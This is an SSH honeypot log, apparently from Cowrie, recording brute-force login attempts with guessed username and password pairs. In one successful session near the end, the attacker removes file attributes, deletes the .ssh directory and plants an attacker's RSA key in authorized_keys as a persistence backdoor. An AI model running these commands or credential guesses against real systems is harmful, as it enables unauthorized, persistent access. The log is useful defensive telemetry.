{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:31.221310Z","src_ip":"105.27.148.94","session":"da0efe5e874c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qweasdzxc","message":"login attempt [user/123qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:32.095165Z","src_ip":"105.27.148.94","session":"da0efe5e874c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:33.307816Z","src_ip":"105.27.148.94","session":"da0efe5e874c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":45378,"dst_ip":"10.17.0.5","dst_port":22,"session":"d25a61059117","protocol":"ssh","message":"New connection: 91.92.40.4:45378 (10.17.0.5:22) [session: d25a61059117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:36.345154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:36.348397Z","src_ip":"91.92.40.4","session":"d25a61059117","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:36.428997Z","src_ip":"91.92.40.4","session":"d25a61059117","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123qwe","message":"login attempt [git/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:36.678359Z","src_ip":"91.92.40.4","session":"d25a61059117","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:37.761296Z","src_ip":"91.92.40.4","session":"d25a61059117","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":41948,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6273487ca9e","protocol":"ssh","message":"New connection: 152.53.185.81:41948 (10.17.0.5:22) [session: a6273487ca9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:45.707654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:45.711836Z","src_ip":"152.53.185.81","session":"a6273487ca9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:45.800857Z","src_ip":"152.53.185.81","session":"a6273487ca9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"admin123","message":"login attempt [server/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:46.185357Z","src_ip":"152.53.185.81","session":"a6273487ca9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:47.279915Z","src_ip":"152.53.185.81","session":"a6273487ca9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:47.681015Z","src_ip":"8.210.75.243","session":"acecb6900a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.121.102.3","src_port":39960,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9e6bbd2cfdf","protocol":"ssh","message":"New connection: 129.121.102.3:39960 (10.17.0.5:22) [session: d9e6bbd2cfdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:50.359199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:50.362931Z","src_ip":"129.121.102.3","session":"d9e6bbd2cfdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:50.389444Z","src_ip":"129.121.102.3","session":"d9e6bbd2cfdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pml123456","message":"login attempt [root/Pml123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:50.531816Z","src_ip":"129.121.102.3","session":"d9e6bbd2cfdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:51.562637Z","src_ip":"129.121.102.3","session":"d9e6bbd2cfdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":42102,"dst_ip":"10.17.0.5","dst_port":22,"session":"27851f1decfd","protocol":"ssh","message":"New connection: 154.116.254.157:42102 (10.17.0.5:22) [session: 27851f1decfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:52.863528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:52.866212Z","src_ip":"154.116.254.157","session":"27851f1decfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:53.034882Z","src_ip":"154.116.254.157","session":"27851f1decfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mytest","password":"mytest","message":"login attempt [mytest/mytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:53.734084Z","src_ip":"154.116.254.157","session":"27851f1decfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:32:54.903871Z","src_ip":"154.116.254.157","session":"27851f1decfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":40912,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d3387014363","protocol":"ssh","message":"New connection: 87.106.29.151:40912 (10.17.0.5:22) [session: 9d3387014363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:07.141393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:07.145627Z","src_ip":"87.106.29.151","session":"9d3387014363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:07.238456Z","src_ip":"87.106.29.151","session":"9d3387014363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123$%^","message":"login attempt [root/Qwe123$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:07.648000Z","src_ip":"87.106.29.151","session":"9d3387014363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"customer","password":"customer","message":"login attempt [customer/customer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:08.005295Z","src_ip":"8.210.75.243","session":"c19a7b0e93ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:08.744113Z","src_ip":"87.106.29.151","session":"9d3387014363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40872,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9be0c0014c7","protocol":"ssh","message":"New connection: 8.210.75.243:40872 (10.17.0.5:22) [session: f9be0c0014c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:09.868426Z"}
{"eventid":"cowrie.session.closed","duration":"46.8","message":"Connection lost after 46.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:09.962997Z","src_ip":"8.210.75.243","session":"c19a7b0e93ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"164.92.161.148","src_port":35468,"dst_ip":"10.17.0.5","dst_port":22,"session":"1186f9033519","protocol":"ssh","message":"New connection: 164.92.161.148:35468 (10.17.0.5:22) [session: 1186f9033519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.259727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.263770Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.349507Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Oracle123","message":"login attempt [oracle/Oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.714783Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.930043Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.932871Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:20.936679Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.104841Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.234848Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.237762Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.327049Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:33:21.330503Z","src_ip":"164.92.161.148","session":"1186f9033519","protocol":"ssh"}
